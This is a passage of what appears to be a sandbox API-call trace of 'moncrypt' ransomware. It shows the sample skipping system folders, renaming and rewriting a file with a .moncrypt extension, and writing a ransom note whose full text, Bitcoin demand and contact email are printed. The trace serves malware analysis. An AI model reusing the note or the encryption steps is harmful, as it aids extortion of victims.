lpBuffer="C:\\Windows") returned 0xa [0059.319] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a9e0, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0059.320] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.320] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.320] GlobalUnlock (hMem=0x44000c) returned 0 [0059.320] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.320] GlobalLock (hMem=0x440004) returned 0x559b88 [0059.320] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.320] GlobalUnlock (hMem=0x44000c) returned 0 [0059.320] GlobalHandle (pMem=0x559b88) returned 0x440004 [0059.320] GlobalUnlock (hMem=0x440004) returned 0 [0059.320] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", cchLength=0x48 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\") returned 0x48 [0059.320] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0059.320] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", cchLength=0x48 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\") returned 0x48 [0059.320] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a9f8, cbMultiByte=11, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0059.320] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", cchLength=0x48 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\") returned 0x48 [0059.320] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a9f8, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0059.321] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", cchLength=0x48 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\") returned 0x48 [0059.321] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0059.321] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", cchLength=0x48 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\") returned 0x48 [0059.321] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0059.321] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", cchLength=0x48 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\") returned 0x48 [0059.321] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a9f8, cbMultiByte=10, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0059.321] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", cchLength=0x48 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\") returned 0x48 [0059.321] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a9f8, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0059.321] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", cchLength=0x48 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\") returned 0x48 [0059.322] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a9f8, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0059.322] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", cchLength=0x48 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\") returned 0x48 [0059.322] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0059.322] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.322] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.322] GlobalUnlock (hMem=0x440004) returned 0 [0059.322] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.322] GlobalLock (hMem=0x44000c) returned 0x559b88 [0059.322] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.322] GlobalUnlock (hMem=0x440004) returned 0 [0059.322] GlobalHandle (pMem=0x559b88) returned 0x44000c [0059.322] GlobalUnlock (hMem=0x44000c) returned 0 [0059.322] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e280 [0059.322] FindNextFileW (in: hFindFile=0x54e280, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.322] FindNextFileW (in: hFindFile=0x54e280, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0059.322] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0059.322] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0059.323] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.323] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.323] GlobalUnlock (hMem=0x44000c) returned 0 [0059.323] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.323] GlobalLock (hMem=0x440004) returned 0x559b88 [0059.323] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.323] GlobalUnlock (hMem=0x44000c) returned 0 [0059.323] GlobalHandle (pMem=0x559b88) returned 0x440004 [0059.323] GlobalUnlock (hMem=0x440004) returned 0 [0059.323] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.323] CharLowerBuffW (in: lpsz="msmdsrv.rll", cchLength=0xb | out: lpsz="msmdsrv.rll") returned 0xb [0059.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0059.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0059.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0059.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0059.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vç\x18", lpUsedDefaultChar=0x0) returned 1 [0059.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0059.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0059.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dç\x18", lpUsedDefaultChar=0x0) returned 1 [0059.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0059.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0059.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0059.323] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0059.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll", cchWideChar=83, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll", lpUsedDefaultChar=0x0) returned 83 [0059.324] CharLowerBuffW (in: lpsz=".rll", cchLength=0x4 | out: lpsz=".rll") returned 0x4 [0059.324] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".rll", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".rllices\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll", lpUsedDefaultChar=0x0) returned 4 [0059.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\я" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0059.324] WriteFile (in: hFile=0x190, lpBuffer=0x1e61da8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61da8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0059.325] CloseHandle (hObject=0x190) returned 1 [0059.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\я" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\я")) returned 1 [0059.326] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 0x54e2c0 [0059.326] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0059.326] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0059.326] FindClose (in: hFindFile=0x54e2c0 | out: hFindFile=0x54e2c0) returned 1 [0059.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll", dwFileAttributes=0x20) returned 1 [0059.327] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0059.327] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll.moncrypt")) returned 1 [0059.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0059.328] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0059.328] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0xa2b58 [0059.328] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0059.328] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e3b4*=0x4000, lpOverlapped=0x0) returned 1 [0059.330] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.330] GlobalLock (hMem=0x44000c) returned 0x55db88 [0059.330] GlobalHandle (pMem=0x55db88) returned 0x44000c [0059.330] GlobalUnlock (hMem=0x44000c) returned 0 [0059.330] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0059.331] GlobalLock (hMem=0x44000c) returned 0x55db88 [0059.331] GlobalHandle (pMem=0x55db88) returned 0x44000c [0059.331] GlobalUnlock (hMem=0x44000c) returned 0 [0059.331] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0059.331] GlobalLock (hMem=0x44000c) returned 0x55db88 [0059.331] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.331] GlobalUnlock (hMem=0x440004) returned 0 [0059.331] GlobalHandle (pMem=0x55db88) returned 0x44000c [0059.331] GlobalUnlock (hMem=0x44000c) returned 0 [0059.331] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.331] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.331] GlobalUnlock (hMem=0x44000c) returned 0 [0059.331] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0059.331] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.331] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.331] GlobalUnlock (hMem=0x44000c) returned 0 [0059.331] ReadFile (in: hFile=0x190, lpBuffer=0x1e390f8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesRead=0x18e3b4*=0x20, lpOverlapped=0x0) returned 1 [0059.331] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e3a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e3a8*=0) returned 0x0 [0059.332] WriteFile (in: hFile=0x190, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e3b0*=0x4020, lpOverlapped=0x0) returned 1 [0059.332] SetFilePointer (in: hFile=0x190, lDistanceToMove=666456, lpDistanceToMoveHigh=0x18e3a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e3a8*=0) returned 0xa2b58 [0059.332] WriteFile (in: hFile=0x190, lpBuffer=0x1e390f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesWritten=0x18e3b0*=0x20, lpOverlapped=0x0) returned 1 [0059.334] WriteFile (in: hFile=0x190, lpBuffer=0x18e42c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x18e42c*, lpNumberOfBytesWritten=0x18e3b0*=0x8, lpOverlapped=0x0) returned 1 [0059.334] WriteFile (in: hFile=0x190, lpBuffer=0x1e61dd8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x1e61dd8*, lpNumberOfBytesWritten=0x18e3b0*=0x1, lpOverlapped=0x0) returned 1 [0059.345] WriteFile (in: hFile=0x190, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e3b0*=0x9c, lpOverlapped=0x0) returned 1 [0059.345] CloseHandle (hObject=0x190) returned 1 [0059.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0059.353] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0059.354] CloseHandle (hObject=0x190) returned 1 [0059.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.moncrypt", dwFileAttributes=0x20) returned 1 [0059.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0059.354] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.354] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.354] GlobalUnlock (hMem=0x44000c) returned 0 [0059.354] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.354] GlobalLock (hMem=0x440004) returned 0x559b88 [0059.354] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.354] GlobalUnlock (hMem=0x44000c) returned 0 [0059.354] GlobalHandle (pMem=0x559b88) returned 0x440004 [0059.354] GlobalUnlock (hMem=0x440004) returned 0 [0059.354] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0059.354] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x559b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a9a8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x55bb98, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0059.355] GetLastError () returned 0x2 [0059.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0059.363] WriteFile (in: hFile=0x190, lpBuffer=0x1dcc6d8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e6a4, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesWritten=0x18e6a4*=0x649, lpOverlapped=0x0) returned 1 [0059.364] CloseHandle (hObject=0x190) returned 1 [0059.364] FindNextFileW (in: hFindFile=0x54e280, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 1 [0059.364] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0059.364] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0059.364] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.364] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.364] GlobalUnlock (hMem=0x440004) returned 0 [0059.364] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.364] GlobalLock (hMem=0x44000c) returned 0x559b88 [0059.364] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.364] GlobalUnlock (hMem=0x440004) returned 0 [0059.364] GlobalHandle (pMem=0x559b88) returned 0x44000c [0059.364] GlobalUnlock (hMem=0x44000c) returned 0 [0059.365] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.365] CharLowerBuffW (in: lpsz="msolui100.rll", cchLength=0xd | out: lpsz="msolui100.rll") returned 0xd [0059.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0059.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0059.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0059.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", 